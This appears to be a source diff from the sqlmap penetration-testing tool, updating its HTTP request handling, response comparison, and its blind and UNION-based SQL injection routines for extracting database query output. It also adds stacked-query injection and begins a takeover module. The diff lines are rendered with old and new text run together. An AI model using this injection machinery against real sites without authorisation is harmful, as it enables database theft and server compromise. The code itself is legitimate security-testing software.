if htmlParsed and htmlParsed not in kb.htmlFp: # Detect injectable page absolute system path
kb.htmlFp.append(htmlParsed) # NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled.
absFilePathsRegExp = ( " in <b>(.*?)</b> on line", "([\w]\:[\/\\\\]+)" )
# Detect injectable page absolute system path for absFilePathRegExp in absFilePathsRegExp:
# NOTE: this regular expression works if the remote web application absFilePaths = re.findall(absFilePathRegExp, page, re.I)
# is written in PHP and debug/error messages are enabled.
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
for absFilePath in absFilePaths: for absFilePath in absFilePaths:
if absFilePath not in kb.absFilePaths: if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath) kb.absFilePaths.add(os.path.dirname(absFilePath))

104
lib/request/comparison.py Normal file
View File

@@ -0,0 +1,104 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.data import conf
from lib.core.data import logger
from lib.core.session import setMatchRatio
def comparison(page, headers=None, getSeqMatcher=False):
regExpResults = None
# String to be excluded before calculating page hash
if conf.eString and conf.eString in page:
index = page.index(conf.eString)
length = len(conf.eString)
pageWithoutString = page[:index]
pageWithoutString += page[index+length:]
page = pageWithoutString
# Regular expression matches to be excluded before calculating page hash
if conf.eRegexp:
regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)
if regExpResults:
for regExpResult in regExpResults:
index = page.index(regExpResult)
length = len(regExpResult)
pageWithoutRegExp = page[:index]
pageWithoutRegExp += page[index+length:]
page = pageWithoutRegExp
# String to match in page when the query is valid
if conf.string:
if conf.string in page:
return True
else:
return False
# Regular expression to match in page when the query is valid
if conf.regexp:
if re.search(conf.regexp, page, re.I | re.M):
return True
else:
return False
conf.seqMatcher.set_seq2(page)
ratio = round(conf.seqMatcher.ratio(), 3)
# If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content
if conf.matchRatio == None:
if conf.md5hash != None and ratio > 0.6 and ratio < 1:
logger.debug("setting match ratio to %.3f" % ratio)
conf.matchRatio = ratio
elif conf.md5hash == None or ( conf.md5hash != None and ratio < 0.6 ):
logger.debug("setting match ratio to default value 0.900")
conf.matchRatio = 0.900
if conf.matchRatio != None:
setMatchRatio()
# If it has been requested to return the ratio and not a comparison
# response
if getSeqMatcher:
return ratio
# If the url is stable it returns True if the page has the same MD5
# hash of the original one
# NOTE: old implementation, it did not handle automatically the fact
# that the url could be not stable (due to VIEWSTATE, counter, etc.)
#elif conf.md5hash != None:
# return conf.md5hash == md5hash(page)
# If the url is not stable it returns sequence matcher between the
# first untouched HTTP response page content and this content
elif ratio > conf.matchRatio:
return True
else:
return False

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -24,10 +24,13 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import md5 import httplib
import re import re
import socket
import time
import urllib2 import urllib2
import urlparse import urlparse
import traceback
from lib.contrib import multipartpost from lib.contrib import multipartpost
from lib.core.convert import urlencode from lib.core.convert import urlencode
@@ -36,8 +39,8 @@ from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException from lib.core.exception import sqlmapConnectionException
from lib.request.basic import forgeHeaders from lib.request.basic import forgeHeaders
from lib.request.basic import parsePage from lib.request.basic import parseResponse
from lib.request.comparison import comparison
class Connect: class Connect:
@@ -45,6 +48,12 @@ class Connect:
This class defines methods used to perform HTTP requests This class defines methods used to perform HTTP requests
""" """
@staticmethod
def __getPageProxy(**kwargs):
return Connect.getPage(**kwargs)
@staticmethod @staticmethod
def getPage(**kwargs): def getPage(**kwargs):
""" """
@@ -52,6 +61,9 @@ class Connect:
the target url page content the target url page content
""" """
if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
time.sleep(conf.delay)
url = kwargs.get('url', conf.url).replace(" ", "%20") url = kwargs.get('url', conf.url).replace(" ", "%20")
get = kwargs.get('get', None) get = kwargs.get('get', None)
post = kwargs.get('post', None) post = kwargs.get('post', None)
@@ -59,7 +71,9 @@ class Connect:
ua = kwargs.get('ua', None) ua = kwargs.get('ua', None)
direct = kwargs.get('direct', False) direct = kwargs.get('direct', False)
multipart = kwargs.get('multipart', False) multipart = kwargs.get('multipart', False)
silent = kwargs.get('silent', False)
page = ""
cookieStr = "" cookieStr = ""
requestMsg = "HTTP request:\n%s " % conf.method requestMsg = "HTTP request:\n%s " % conf.method
responseMsg = "HTTP response " responseMsg = "HTTP response "
@@ -78,11 +92,15 @@ class Connect:
url = "%s?%s" % (url, params) url = "%s?%s" % (url, params)
requestMsg += "?%s" % params requestMsg += "?%s" % params
if post:
post = urlencode(post).replace("%%", "%")
elif multipart: elif multipart:
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler) multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
conn = multipartOpener.open(url, multipart) conn = multipartOpener.open(url, multipart)
page = conn.read() page = conn.read()
return page
return page
else: else:
if conf.parameters.has_key("GET") and not get: if conf.parameters.has_key("GET") and not get:
@@ -102,7 +120,9 @@ class Connect:
requestMsg += " HTTP/1.1" requestMsg += " HTTP/1.1"
if cookie: if cookie:
cookie = urlencode(cookie).replace("%%", "%") # TODO: sure about encoding the cookie?
#cookie = urlencode(cookie).replace("%%", "%")
cookie = cookie.replace("%%", "%")
try: try:
# Perform HTTP request # Perform HTTP request
@@ -110,6 +130,9 @@ class Connect:
req = urllib2.Request(url, post, headers) req = urllib2.Request(url, post, headers)
conn = urllib2.urlopen(req) conn = urllib2.urlopen(req)
# Reset the number of connection retries
conf.retriesCount = 0
if not req.has_header("Accept-Encoding"): if not req.has_header("Accept-Encoding"):
requestHeaders += "\nAccept-Encoding: identity" requestHeaders += "\nAccept-Encoding: identity"
@@ -140,9 +163,9 @@ class Connect:
logger.log(9, requestMsg) logger.log(9, requestMsg)
# Get HTTP response # Get HTTP response
page = conn.read() page = conn.read()
code = conn.code code = conn.code
status = conn.msg status = conn.msg
responseHeaders = conn.info() responseHeaders = conn.info()
except urllib2.HTTPError, e: except urllib2.HTTPError, e:
@@ -156,19 +179,46 @@ class Connect:
status = e.msg status = e.msg
responseHeaders = e.info() responseHeaders = e.info()
except urllib2.URLError, e: except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine), _:
warnMsg = "unable to connect to the target url" tbMsg = traceback.format_exc()
if conf.googleDork: if "URLError" in tbMsg or "error" in tbMsg:
warnMsg = "unable to connect to the target url"
elif "timeout" in tbMsg:
warnMsg = "connection timed out to the target url"
elif "BadStatusLine" in tbMsg:
warnMsg = "the target url responded with an unknown HTTP "
warnMsg += "status code, try to force the HTTP User-Agent "
warnMsg += "header with option --user-agent or -a"
if "BadStatusLine" not in tbMsg:
warnMsg += " or proxy"
if conf.multipleTargets:
warnMsg += ", skipping to next url" warnMsg += ", skipping to next url"
logger.warn(warnMsg) logger.warn(warnMsg)
return None return None, None
if silent == True:
return None, None
elif conf.retriesCount < conf.retries:
conf.retriesCount += 1
warnMsg += ", sqlmap is going to retry the request"
logger.warn(warnMsg)
time.sleep(1)
return Connect.__getPageProxy(url=url, get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart, silent=silent)
else: else:
warnMsg += " or proxy"
raise sqlmapConnectionException, warnMsg raise sqlmapConnectionException, warnMsg
parsePage(page) parseResponse(page, responseHeaders)
responseMsg += "(%s - %d):\n" % (status, code) responseMsg += "(%s - %d):\n" % (status, code)
if conf.verbose <= 4: if conf.verbose <= 4:
@@ -178,11 +228,11 @@ class Connect:
logger.log(8, responseMsg) logger.log(8, responseMsg)
return page return page, responseHeaders
@staticmethod @staticmethod
def queryPage(value=None, place=None, content=False): def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False):
""" """
This method calls a function to get the target url page content This method calls a function to get the target url page content
and returns its page MD5 hash or a boolean value in case of and returns its page MD5 hash or a boolean value in case of
@@ -221,14 +271,11 @@ class Connect:
else: else:
ua = conf.parameters["User-Agent"] ua = conf.parameters["User-Agent"]
page = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua) page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua, silent=silent)
if content: if content:
return page return page, headers
elif conf.string: elif page:
if conf.string in page: return comparison(page, headers, getSeqMatcher)
return True
else:
return False
else: else:
return md5.new(page).hexdigest() return False

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -31,29 +31,22 @@ from lib.core.agent import agent
from lib.core.common import cleanQuery from lib.core.common import cleanQuery
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns from lib.core.common import expandAsteriskForColumns
from lib.core.common import parseUnionPage
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import queries from lib.core.data import queries
from lib.core.data import temp from lib.core.data import temp
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.use import unionUse from lib.techniques.inband.union.use import unionUse
from lib.techniques.inference.blind import bisection from lib.techniques.blind.inference import bisection
from lib.utils.resume import queryOutputLength from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume from lib.utils.resume import resume
def __getFieldsProxy(expression): def __goInference(payload, expression, charsetType=None):
_, _, _, expressionFields = agent.getFields(expression) start = time.time()
expressionFieldsList = expressionFields.replace(", ", ",")
expressionFieldsList = expressionFieldsList.split(",")
return expressionFields, expressionFieldsList
def __goInference(payload, expression):
start = time.time()
if ( conf.eta or conf.threads > 1 ) and kb.dbms: if ( conf.eta or conf.threads > 1 ) and kb.dbms:
_, length, _ = queryOutputLength(expression, payload) _, length, _ = queryOutputLength(expression, payload)
@@ -62,23 +55,40 @@ def __goInference(payload, expression):
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression)) dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
count, value = bisection(payload, expression, length=length) count, value = bisection(payload, expression, length, charsetType)
duration = int(time.time() - start) duration = int(time.time() - start)
infoMsg = "performed %d queries in %d seconds" % (count, duration) if conf.eta and length:
logger.info(infoMsg) infoMsg = "retrieved: %s" % value
logger.info(infoMsg)
debugMsg = "performed %d queries in %d seconds" % (count, duration)
logger.debug(debugMsg)
return value return value
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None): def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None):
outputs = [] outputs = []
origExpr = None
for field in expressionFieldsList: for field in expressionFieldsList:
output = None output = None
expressionReplaced = expression.replace(expressionFields, field, 1) if field.startswith("ROWNUM "):
output = resume(expressionReplaced, payload) continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field)
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
if resumeValue == True:
output = resume(expressionReplaced, payload)
if not output or ( expected == "int" and not output.isdigit() ): if not output or ( expected == "int" and not output.isdigit() ):
if output: if output:
@@ -86,21 +96,24 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
warnMsg += "sqlmap is going to retrieve the value again" warnMsg += "sqlmap is going to retrieve the value again"
logger.warn(warnMsg) logger.warn(warnMsg)
output = __goInference(payload, expressionReplaced) output = __goInference(payload, expressionReplaced, charsetType)
if isinstance(num, int):
expression = origExpr
outputs.append(output) outputs.append(output)
return outputs return outputs
def __goInferenceProxy(expression, fromUser=False, expected=None): def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None):
""" """
Retrieve the output of a SQL query characted by character taking Retrieve the output of a SQL query characted by character taking
advantage of an blind SQL injection vulnerability on the affected advantage of an blind SQL injection vulnerability on the affected
parameter through a bisection algorithm. parameter through a bisection algorithm.
""" """
query = agent.prefixQuery(temp.inference) query = agent.prefixQuery(" %s" % temp.inference)
query = agent.postfixQuery(query) query = agent.postfixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
count = None count = None
@@ -111,13 +124,19 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
untilLimitChar = None untilLimitChar = None
untilOrderChar = None untilOrderChar = None
output = resume(expression, payload) if resumeValue == True:
output = resume(expression, payload)
else:
output = None
if output and ( expected == None or ( expected == "int" and output.isdigit() ) ): if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
return output return output
if unpack == False:
return __goInference(payload, expression, charsetType)
if kb.dbmsDetected: if kb.dbmsDetected:
expressionFields, expressionFieldsList = __getFieldsProxy(expression) _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
if len(expressionFieldsList) > 1: if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. " infoMsg = "the SQL query provided has more than a field. "
@@ -133,8 +152,9 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
# can return multiple entries # can return multiple entries
if fromUser and " FROM " in expression: if fromUser and " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I) limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp: if limitRegExp or ( kb.dbms == "Microsoft SQL Server" and topLimit ):
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitGroupStart = queries[kb.dbms].limitgroupstart limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop limitGroupStop = queries[kb.dbms].limitgroupstop
@@ -145,7 +165,22 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
stopLimit = limitRegExp.group(int(limitGroupStop)) stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1 limitCond = int(stopLimit) > 1
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ): elif kb.dbms == "Microsoft SQL Server":
if limitRegExp:
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif kb.dbms == "Oracle":
limitCond = False limitCond = False
else: else:
limitCond = True limitCond = True
@@ -164,12 +199,17 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
untilLimitChar = expression.index(queries[kb.dbms].limitstring) untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar] expression = expression[:untilLimitChar]
elif kb.dbms == "Microsoft SQL Server":
stopLimit += startLimit
if not stopLimit or stopLimit <= 1: if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n" test = "n"
elif batch == True:
test = "y"
else: else:
message = "does the SQL query that you provide might " message = "can the SQL query provided return "
message += "return multiple entries? [Y/n] " message += "multiple entries? [Y/n] "
test = readInput(message, default="Y") test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"): if not test or test[0] in ("y", "Y"):
@@ -181,99 +221,83 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
untilOrderChar = countedExpression.index(" ORDER BY ") untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar] countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, payload) if resumeValue == True:
count = resume(countedExpression, payload)
if not stopLimit: if not stopLimit:
if not count or not count.isdigit(): if not count or not count.isdigit():
count = __goInference(payload, countedExpression) count = __goInference(payload, countedExpression, charsetType)
if count.isdigit() and int(count) > 0: if count and count.isdigit() and int(count) > 0:
count = int(count) count = int(count)
message = "the SQL query that you provide can " if batch == True:
message += "return up to %d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit\nChoice: "
test = readInput(message, default="a")
if not test or test[0] in ("a", "A"):
stopLimit = count stopLimit = count
else:
message = "the SQL query provided can return "
message += "up to %d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit"
test = readInput(message, default="a")
elif test[0] in ("q", "Q"): if not test or test[0] in ("a", "A"):
return "Quit" stopLimit = count
elif test.isdigit() and int(test) > 0 and int(test) <= count: elif test[0] in ("q", "Q"):
stopLimit = int(test) return "Quit"
infoMsg = "sqlmap is now going to retrieve the " elif test.isdigit() and int(test) > 0 and int(test) <= count:
infoMsg += "first %d query output entries" % stopLimit stopLimit = int(test)
logger.info(infoMsg)
elif test[0] in ("#", "s", "S"): infoMsg = "sqlmap is now going to retrieve the "
message = "How many? " infoMsg += "first %d query output entries" % stopLimit
stopLimit = readInput(message, default="10") logger.info(infoMsg)
if not stopLimit.isdigit(): elif test[0] in ("#", "s", "S"):
message = "How many? "
stopLimit = readInput(message, default="10")
if not stopLimit.isdigit():
errMsg = "Invalid choice"
logger.error(errMsg)
return None
else:
stopLimit = int(stopLimit)
else:
errMsg = "Invalid choice" errMsg = "Invalid choice"
logger.error(errMsg) logger.error(errMsg)
return None return None
else: elif count and not count.isdigit():
stopLimit = int(stopLimit) warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
else: stopLimit = 1
errMsg = "Invalid choice"
logger.error(errMsg)
return None
elif ( not count or int(count) == 0 ): elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query that you provided does " warnMsg = "the SQL query provided does not "
warnMsg += "not return any output" warnMsg += "return any output"
logger.warn(warnMsg) logger.warn(warnMsg)
return None return None
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ): elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query that you provided does " warnMsg = "the SQL query provided does not "
warnMsg += "not return any output" warnMsg += "return any output"
logger.warn(warnMsg) logger.warn(warnMsg)
return None return None
for num in xrange(startLimit, stopLimit): for num in xrange(startLimit, stopLimit):
limitedExpr = expression output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitStr = queries[kb.dbms].limit % (num, 1)
limitedExpr += " %s" % limitStr
elif kb.dbms == "Oracle":
limitStr = queries[kb.dbms].limit
fromIndex = limitedExpr.index(" FROM ")
untilFrom = limitedExpr[:fromIndex]
fromFrom = limitedExpr[fromIndex+1:]
limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
limitedExpr = limitedExpr % fromFrom
limitedExpr += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server":
if re.search(" ORDER BY ", limitedExpr, re.I):
untilOrderChar = limitedExpr.index(" ORDER BY ")
limitedExpr = limitedExpr[:untilOrderChar]
limitStr = queries[kb.dbms].limit
fromIndex = limitedExpr.index(" FROM ")
untilFrom = limitedExpr[:fromIndex]
fromFrom = limitedExpr[fromIndex+1:]
limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1)
limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0])
limitedExpr += "NOT IN (%s" % (limitStr % num)
limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom)
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
outputs.append(output) outputs.append(output)
return outputs return outputs
@@ -281,22 +305,22 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression: elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
expression = "%s FROM DUAL" % expression expression = "%s FROM DUAL" % expression
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected) outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType)
returnValue = ", ".join([output for output in outputs]) returnValue = ", ".join([output for output in outputs])
else: else:
returnValue = __goInference(payload, expression) returnValue = __goInference(payload, expression, charsetType)
return returnValue return returnValue
def __goInband(expression, expected=None): def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True):
""" """
Retrieve the output of a SQL query taking advantage of an inband SQL Retrieve the output of a SQL query taking advantage of an inband SQL
injection vulnerability on the affected parameter. injection vulnerability on the affected parameter.
""" """
counter = None
output = None output = None
partial = False partial = False
data = [] data = []
@@ -306,61 +330,22 @@ def __goInband(expression, expected=None):
and expression in kb.resumedQueries[conf.url].keys() and expression in kb.resumedQueries[conf.url].keys()
) )
if condition: if condition and resumeValue == True:
output = resume(expression, None) output = resume(expression, None)
if not output or ( expected == "int" and not output.isdigit() ): if not output or ( expected == "int" and not output.isdigit() ):
partial = True partial = True
if not output: if not output:
output = unionUse(expression) output = unionUse(expression, resetCounter=True, unpack=unpack)
fields = expression.split(",")
counter = len(fields)
if output: if output:
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) ) data = parseUnionPage(output, expression, partial, condition, sort)
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
if outCond1 or outCond2:
if outCond1:
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
elif outCond2:
regExpr = '__START__(.*?)__STOP__'
output = re.findall(regExpr, output, re.S)
if partial or not condition:
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output)
for entry in output:
info = []
if "__DEL__" in entry:
entry = entry.split("__DEL__")
else:
entry = entry.split(temp.delimiter)
if len(entry) == 1:
data.append(entry[0])
else:
for value in entry:
info.append(value)
data.append(info)
else:
data = output
if len(data) == 1 and isinstance(data[0], str):
data = data[0]
return data return data
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None): def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None):
""" """
Called each time sqlmap inject a SQL query on the SQL injection Called each time sqlmap inject a SQL query on the SQL injection
affected parameter. It can call a function to retrieve the output affected parameter. It can call a function to retrieve the output
@@ -370,12 +355,44 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
expression = cleanQuery(expression) expression = cleanQuery(expression)
expression = expandAsteriskForColumns(expression) expression = expandAsteriskForColumns(expression)
value = None value = None
if inband and conf.unionUse and kb.dbms: if inband and kb.unionPosition:
value = __goInband(expression, expected) if kb.dbms == "Oracle" and " ORDER BY " in expression:
expression = expression[:expression.index(" ORDER BY ")]
value = __goInband(expression, expected, sort, resumeValue, unpack)
if not value:
warnMsg = "for some reasons it was not possible to retrieve "
warnMsg += "the query output through inband SQL injection "
warnMsg += "technique, sqlmap is going blind"
logger.warn(warnMsg)
oldParamFalseCond = conf.paramFalseCond
oldParamNegative = conf.paramNegative
conf.paramFalseCond = False
conf.paramNegative = False
if blind and not value: if blind and not value:
value = __goInferenceProxy(expression, fromUser, expected) value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType)
conf.paramFalseCond = oldParamFalseCond
conf.paramNegative = oldParamNegative
return value return value
def goStacked(expression, silent=False):
expression = cleanQuery(expression)
debugMsg = "query: %s" % expression
logger.debug(debugMsg)
comment = queries[kb.dbms].comment
query = agent.prefixQuery("; %s" % expression)
query = agent.postfixQuery("%s;%s" % (query, comment))
payload = agent.payload(newValue=query)
page, _ = Request.queryPage(payload, content=True, silent=silent)
return payload, page

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -29,6 +29,12 @@ import socket
import urllib import urllib
import urllib2 import urllib2
from lib.core.settings import PYVERSION
if PYVERSION >= "2.6":
import ssl
class ProxyHTTPConnection(httplib.HTTPConnection): class ProxyHTTPConnection(httplib.HTTPConnection):
_ports = {"http" : 80, "https" : 443} _ports = {"http" : 80, "https" : 443}
@@ -57,7 +63,7 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
self._real_host = host self._real_host = host
self._real_port = int(port) self._real_port = int(port)
httplib.HTTPConnection.request(self, method, url, body, headers) httplib.HTTPConnection.request(self, method, rest, body, headers)
def connect(self): def connect(self):
@@ -89,7 +95,7 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
class ProxyHTTPSConnection(ProxyHTTPConnection): class ProxyHTTPSConnection(ProxyHTTPConnection):
default_port = 443 default_port = 443
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None): def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None, timeout=None):
ProxyHTTPConnection.__init__(self, host, port) ProxyHTTPConnection.__init__(self, host, port)
self.key_file = key_file self.key_file = key_file
self.cert_file = cert_file self.cert_file = cert_file
@@ -98,8 +104,12 @@ class ProxyHTTPSConnection(ProxyHTTPConnection):
ProxyHTTPConnection.connect(self) ProxyHTTPConnection.connect(self)
# Make the sock ssl-aware # Make the sock ssl-aware
ssl = socket.ssl(self.sock, self.key_file, self.cert_file) if PYVERSION >= "2.6":
self.sock = httplib.FakeSocket(self.sock, ssl) sslobj = ssl.wrap_socket(self.sock, self.key_file, self.cert_file)
self.sock = sslobj
else:
sslobj = socket.ssl(self.sock, self.key_file, self.cert_file)
self.sock = httplib.FakeSocket(self.sock, sslobj)
class ProxyHTTPHandler(urllib2.HTTPHandler): class ProxyHTTPHandler(urllib2.HTTPHandler):

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

172
lib/takeover/abstraction.py Normal file
View File

@@ -0,0 +1,172 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.dump import dumper
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.shell import autoCompletion
